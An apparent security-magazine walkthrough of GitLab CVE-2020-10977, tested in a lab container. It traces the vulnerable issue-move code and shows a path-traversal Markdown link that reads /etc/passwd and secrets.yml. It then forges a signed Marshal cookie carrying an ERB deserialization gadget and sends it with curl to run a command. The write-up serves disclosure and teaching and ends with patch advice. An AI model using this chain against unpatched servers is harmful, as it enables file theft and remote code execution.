Read and execute. Exploiting a new vulnerability in GitLab

Written by

In late March 2020, a bug was discovered in a popular web-based tool called GitLab. The error enables the attacker to advance from reading files in the system to executing arbitrary commands. The vulnerability was recognized critical because the attacker doesn’t need any special rights in the target system. This article explains the origin of the bug and shows how to exploit it.

The exploit was developed by an Austrian researcher and developer William Bowling (vakzz). He found out that under certain conditions, the class UploadsRewriter does not check the path to the file. This allows the attacker to copy any file in the system and use it as an attachment when an issue is moved from one project to another one.

The researcher transformed this particular local file reader into an RCE vulnerability. The attacker can read the file secrets.yml containing a token used to sign cookies, while a specially crafted and signed cookie makes it possible to execute arbitrary code on the server.

info

The vulnerability belongs to the path traversal category; its registration number in the National Vulnerability Database is CVE-2020-10977. The bug affects EE/CE GitLab versions starting from 8.5 и 12.9, respectively. In the framework of the bug bounty program, GitLab has paid $20,000 to William Bowling for its discovery.

Test system

It’s not a big deal to create test environment for this bug because GitLab has an official docker repository. Using a simple command, I can run the container with any given version of the application. I choose the latest vulnerable release: 12.9.0.

docker run --rm -d --hostname gitlab.vh -p 443:443 -p 80:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.9.0-ce.0

“CE” refers to the Community Edition; in theory, I could use the Enterprise Edition (EE) as well – but it requires a key for the trial period. CE is sufficient for demonstration purposes because both versions are equally vulnerable.

At the first start, GitLab asks to set an admin password. The default login is admin@example.com.

Setting admin password at the first start of GitLab
Setting admin password at the first start of GitLab

Then I have to create two new projects.

Creating two repositories in the test system
Creating two repositories in the test system

The test system is up and running. However, I also need to download the GitLab source code to demonstrate what its sections contain the error.

Reading local files

The problem originates from the Clone Issue feature.

I create a new issue in the Test project.

Creating a new issue in GitLab
Creating a new issue in GitLab

When you create an issue, you can produce its description in the Markdown format and upload an arbitrary file (e.g. a screenshot showing the error or a log file) to simplify the life of the developers.

Attaching a file to the issue description
Attaching a file to the issue description

All uploaded files are stored in the folder /var/opt/gitlab/gitlab-rails/uploads/ on the hard drive. The FileUploader class is responsible for this.

doc/development/file_storage.md
31: | Description | In DB? | Relative path (from CarrierWave.root) | Uploader class | model_type |
...
39: | Issues/MR/Notes Markdown attachments | yes | uploads/:project_path_with_namespace/:random_hex/:filename | `FileUploader` | Project |

First, the program generates a random hex string and uses it as the folder name.

app/uploaders/file_uploader.rb
011: class FileUploader < GitlabUploader
...
019: VALID_SECRET_PATTERN = %r{\A\h{10,32}\z}.freeze
...
069: def self.generate_secret
070: SecureRandom.hex
071: end
...
157: def secret
158: @secret ||= self.class.generate_secret
159:
160: raise InvalidSecret unless @secret =~ VALID_SECRET_PATTERN
161:
162: @secret
163: end

The name transmitted during the upload becomes the file name.

app/uploaders/file_uploader.rb
212: def secure_url
213: File.join('/uploads', @secret, filename)
214: end

After uploading the attachment, a link to it in the Markdown format is added to the issue description, and I save it.

GitLab allows you to move issues from one project to another; this is very useful if an issue affects several products of the same developer.

This button moves issue notifications between projects
This button moves issue notifications between projects

I press the button and select a project to move the issue to.

Selecting a project to move the issue to
Selecting a project to move the issue to

When you move in issue, it closes in the old project and appears in the new one.

Old issue in the new project
Old issue in the new project

Important: the attachments are copied, not moved. In other words, the program creates new files and links to them.

When an issue is moved, files attached to it are copied
When an issue is moved, files attached to it are copied

Time to examine the code and find out how the transfer is implemented. All issue-related routes are stored in the routes folder, in the file issues.rb. The move route (the one that processes the user’s POST request with the required parameters) is also kept there.

config/routes/issues.rb
5: resources :issues, concerns: :awardable, constraints: { id: /\d+/ } do
6: member do
...
9: post :move

Then I get into a function of the same name.

app/controllers/projects/issues_controller.rb
123: def move
124: params.require(:move_to_project_id)
125:
126: if params[:move_to_project_id].to_i > 0
127: new_project = Project.find(params[:move_to_project_id])
128: return render_404 unless issue.can_move?(current_user, new_project)
129:
130: @issue = Issues::UpdateService.new(project, current_user, target_project: new_project).execute(issue)
131: end

At this point, Issues::UpdateService.new is called; and the project ID, user who has initiated the move, and project the issue is moved to are passed as arguments. Then control is transferred to the class UpdateService, which, in turn, calls the method move_issue_to_new_project.

app/services/issues/update_service.rb
03: module Issues
04: class UpdateService < Issues::BaseService
05: include SpamCheckMethods
06:
07: def execute(issue)
08: handle_move_between_ids(issue)
09: filter_spam_check_params
10: change_issue_duplicate(issue)
11: move_issue_to_new_project(issue) || update_task_event(issue) || update(issue)
12: end
app/services/issues/update_service.rb
097: def move_issue_to_new_project(issue)
098: target_project = params.delete(:target_project)
099:
100: return unless target_project &&
101: issue.can_move?(current_user, target_project) &&
102: target_project != issue.project
103:
104: update(issue)
105: Issues::MoveService.new(project, current_user).execute(issue, target_project)
106: end

The next section is implemented by the class Issues::MoveService, a successor to Issuable::Clone::BaseService.

app/services/issues/move_service.rb
3: module Issues
4: class MoveService < Issuable::Clone::BaseService

The execute method is first called from the derived class and then, from the parent class.

app/services/issues/move_service.rb
03: module Issues
04: class MoveService < Issuable::Clone::BaseService
05: MoveError = Class.new(StandardError)
06:
07: def execute(issue, target_project)
08: @target_project = target_project
...
18: super
19:
20: notify_participants
21:
22: new_entity
23: end

The call of the update_new_entity method in the parent class is of utmost interest.

app/services/issuable/clone/base_service.rb
03: module Issuable
04: module Clone
05: class BaseService < IssuableBaseService
06: attr_reader :original_entity, :new_entity
07:
08: alias_method :old_project, :project
09:
10: def execute(original_entity, new_project = nil)
11: @original_entity = original_entity
12:
13: # Using transaction because of a high resources footprint
14: # on rewriting notes (unfolding references)
15: #
16: ActiveRecord::Base.transaction do
17: @new_entity = create_new_entity
18:
19: update_new_entity
20: update_old_entity
21: create_notes
22: end
23: end

After creating a new issue in the target project, this method transfers there data from the original issue.

app/services/issuable/clone/base_service.rb
27: def update_new_entity
28: rewriters = [ContentRewriter, AttributesRewriter]
29:
30: rewriters.each do |rewriter|
31: rewriter.new(current_user, original_entity, new_entity).execute
32: end
33: end

ContentRewriter is responsible for copying.

app/services/issuable/clone/content_rewriter.rb
03: module Issuable
04: module Clone
05: class ContentRewriter < ::Issuable::Clone::BaseService
06: def initialize(current_user, original_entity, new_entity)
07: @current_user = current_user
08: @original_entity = original_entity
09: @new_entity = new_entity
10: @project = original_entity.project
11: end
...
13: def execute
14: rewrite_description
15: rewrite_award_emoji(original_entity, new_entity)
16: rewrite_notes
17: end

At this stage, I am interested only in the rewrite_description method that copies the issue description content.

app/services/issuable/clone/content_rewriter.rb
21: def rewrite_description
22: new_entity.update(description: rewrite_content(original_entity.description))
23: end

Finally, I reach to rewrite_content. This is where the program calls the method that copines the attachments of the old issue to the new one: Gitlab::Gfm::UploadsRewriter.

54: def rewrite_content(content)
55: return unless content
56:
57: rewriters = [Gitlab::Gfm::ReferenceRewriter, Gitlab::Gfm::UploadsRewriter]
58:
59: rewriters.inject(content) do |text, klass|
60: rewriter = klass.new(text, old_project, current_user)
61: rewriter.rewrite(new_parent)
62: end
63: end

The method parses the issue description content searching for a template with the attachment.

app/uploaders/file_uploader.rb
11: class FileUploader < GitlabUploader
...
17: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
lib/gitlab/gfm/uploads_rewriter.rb
05: module Gitlab
06: module Gfm
...
14: class UploadsRewriter
15: def initialize(text, source_project, _current_user)
16: @text = text
17: @source_project = source_project
18: @pattern = FileUploader::MARKDOWN_PATTERN
19: end
20:
21: def rewrite(target_parent)
22: return @text unless needs_rewrite?
23:
24: @text.gsub(@pattern) do |markdown|

If the method finds it, it copies the file.

25: file = find_file(@source_project, $~[:secret], $~[:file])
26: break markdown unless file.try(:exists?)
27:
28: klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
29: moved = klass.copy_to(file, target_parent)
lib/gitlab/gfm/uploads_rewriter.rb
60: def find_file(project, secret, file)
61: uploader = FileUploader.new(project, secret: secret)
62: uploader.retrieve_from_store!(file)
63: uploader
64: end
app/uploaders/file_uploader.rb
165: # Return a new uploader with a file copy on another project
166: def self.copy_to(uploader, to_project)
167: moved = self.new(to_project)
168: moved.object_store = uploader.object_store
169: moved.filename = uploader.filename
170:
171: moved.copy_file(uploader.file)
172: moved
173: end
app/uploaders/file_uploader.rb
175: def copy_file(file)
176: to_path = if file_storage?
177: File.join(self.class.root, store_path)
178: else
179: store_path
180: end
181:
182: self.file = file.copy_to(to_path)
183: record_upload # after_store is not triggered
184: end

As you can see, neither find_file, nor copy_to, nor copy_file checks the file name; therefore, any file in the system can be easily transformed into an attachment.

To test this hypothesis, I exit the directory using a standard method: ../. I must determine the required number of steps ‘up’. By default, the full path to uploaded files in the GitLab container is as shown on the screenshot below.

Path to GitLab attachments on the hard drive
Path to GitLab attachments on the hard drive

The full path to the picture from my issue is as follows:

/var/opt/gitlab/gitlab-rails/uploads/@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35/ed4ae110d9f4021350e5c1eaa123b6e1/mia.jpg

A long piece of code in the middle is the unique hash of the current project. Therefore, I need at least ten ../ constructs to get to the root directory of the container.

Now let’s try to read the file /etc/passwd. I edit the issue description and add the required number of ../ constructs into the path to the file. I recommend using more such constructs to make sure that you get where you want to get.

Path traversal in the name of the file attached to the issue
Path traversal in the name of the file attached to the issue

Then I save and move the file to another project.

The attached file has been successfully substituted in GitLab using path traversal
The attached file has been successfully substituted in GitLab using path traversal

Now I can download the passwd file and view the content of /etc/passwd.

Path traversal allows to read local files in GitLab
Path traversal allows to read local files in GitLab

In other words, I can read everything accessible to the user on whose behalf GitLab is running (in the case of Docker, it is git). And the question is: can I find any useful stuff there?

From file reading to code execution

Of course, such a large-scale project as GitLab contains plenty of interesting files (various access tokens, data stored in private repositories, configs, etc.), and the attacker can read them and use the information to compromise the system. In addition, GitLab includes a very special file: data contained in it enable you to execute any code in the system. The path to this file is as follows:

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

The file stores the important, secret_key_base variable, which is used to sign cookies.

Secret_key_base variable in the GitLab config
Secret_key_base variable in the GitLab config

Similar to many modern solutions, cookies in GitLab are serialized and signed to prevent their substitution. The signature is verified on the server side, and only then the cookie is deserialized. By default, the serializer is defined as :hybrid.

config/initializers/cookies_serializer.rb
4: Rails.application.config.action_dispatch.cookies_serializer = :hybrid

This enables me use to the Marshal format and call various objects. I will need the Embedded Ruby (ERB) template engine, which allows inter alia to execute console commands. In ERB, expression values are described in constructs having the following format: <% [expression] %>. Inside this tag, I can call functions of the template engine, including code written in Ruby. To execute this system command, I can use either backticks or %x.

erb = ERB.new("<%= `uname -a` %>")

For the testing purposes, I am going to use the test docker container and the command that calls the Rails console: gitlab-rails console.

Testing code execution in the Rails console through ERB templates
Testing code execution in the Rails console through ERB templates

The next construct is required to declare the result method of the ERB class deprecated.

ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

This triggers the call of result, and the uname -a command is executed.

Going back to exploitation, now I need to find out secret_key_base. To do so, I will read the file secrets.yml using the above-described bug. First, I create an issue with the following content:

[file](/uploads/00000000000000000000000000000000/../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

As you can see, the presence of the uploads folder is not mandatory; the only precondition is that the entire construct must fall under the regular expression MARKDOWN_PATTERN.

app/uploaders/file_uploader.rb
11: class FileUploader < GitlabUploader
...
17: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze

In other words, any 32-character string consisting of characters from 0 to 9 and from a to f would fit. Then I save the issue and move it to another project. As a result, I get the attached secrets.yml file.

To perform the next step, I launch GitLab and specify the obtained variable as secret_key_base. This allows me to generate a cookie in GitLab that contains payload and has a valid signature: this cookie will pass the verification on the attacked machine. Because I am dealing with a test system, I perform all manipulations on it. First, I run gitlab-rails console again.

Then I create a new request and specify GitLab environment variables as the config.

request = ActionDispatch::Request.new(Rails.application.env_config)

Next, I use the environment variable action_dispatch.cookies_serializer to set Marshal as the cookie serializer.

request.env["action_dispatch.cookies_serializer"] = :marshal

Creating a cookie.

cookies = request.cookie_jar

Now I need a template-payload. I cannot get the results of the command execution; so, I adjust the vector in accordance with these conditions.

erb = ERB.new("<%= `echo Hello > /tmp/owned` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

Sending the generated object as a cookie.

cookies.signed[:cookie] = depr

Displaying the resultant string.

puts cookies[:cookie]
Creating payload for RCE exploitation in GitLab
Creating payload for RCE exploitation in GitLab

Now I have to send the payload inside a cookie that can be serialized. William Bowling recommends to use experimentation_subject_id.

lib/gitlab/experimentation.rb
11: module Gitlab
12: module Experimentation
...
39: module ControllerConcern
40: extend ActiveSupport::Concern
41:
42: included do
43: before_action :set_experimentation_subject_id_cookie, unless: :dnt_enabled?
...
47: def set_experimentation_subject_id_cookie
48: return if cookies[:experimentation_subject_id].present?
...
85: def experimentation_subject_id
86: cookies.signed[:experimentation_subject_id]
87: end

But I take a standard cookie used for automatic authentication of the user when the Remember me box is checked during the login.

Remember_user_token cookie in GitLab
Remember_user_token cookie in GitLab

Then I send the generated payload to the server.

curl 'http://gitlab.vh/' -b "remember_user_token=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIEhlbGxvID4gL3RtcC9vd25lZGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--cbab57f416c45e3048a8e557f4e988f245859c03"

Voila! The command has been executed, and the file /tmp/owned successfully created.

Remote command execution in GitLab
Remote command execution in GitLab

Vulnerability demonstration (video)

Conclusions

The examined vulnerability is easy-to-exploit and very dangerous. GitLab is a popular tool; so, thousands of services critical for corporate networking infrastructures are at risk. Just imagine that attackers can gain access to source files of all your projects!..

The bug had persisted in the code for more than four years and successfully migrated from one branch to another starting from version 8.5 released in February 2016. Therefore, upgrade to version 12.9.1 ASAP to get rid of this vulnerability!